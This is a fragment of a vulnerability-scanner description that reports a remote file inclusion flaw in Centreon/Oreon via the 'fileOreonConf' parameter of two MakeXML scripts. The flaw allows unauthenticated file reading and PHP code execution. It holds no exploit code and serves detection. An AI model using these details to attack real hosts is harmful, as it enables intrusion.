"The remote host is running Centreon or Oreon, a web-based network

sanitize user-supplied input to the 'fileOreonConf' parameter of the
'MakeXML.php' and 'MakeXML4statusCounter.php' scripts before using it
to include PHP code. Regardless of PHP's 'register_globals' setting,
an unauthenticated, remote attacker can exploit these issues to view
arbitrary files on the remote host or to execute arbitrary PHP code,
possibly taken from third-party hosts.");
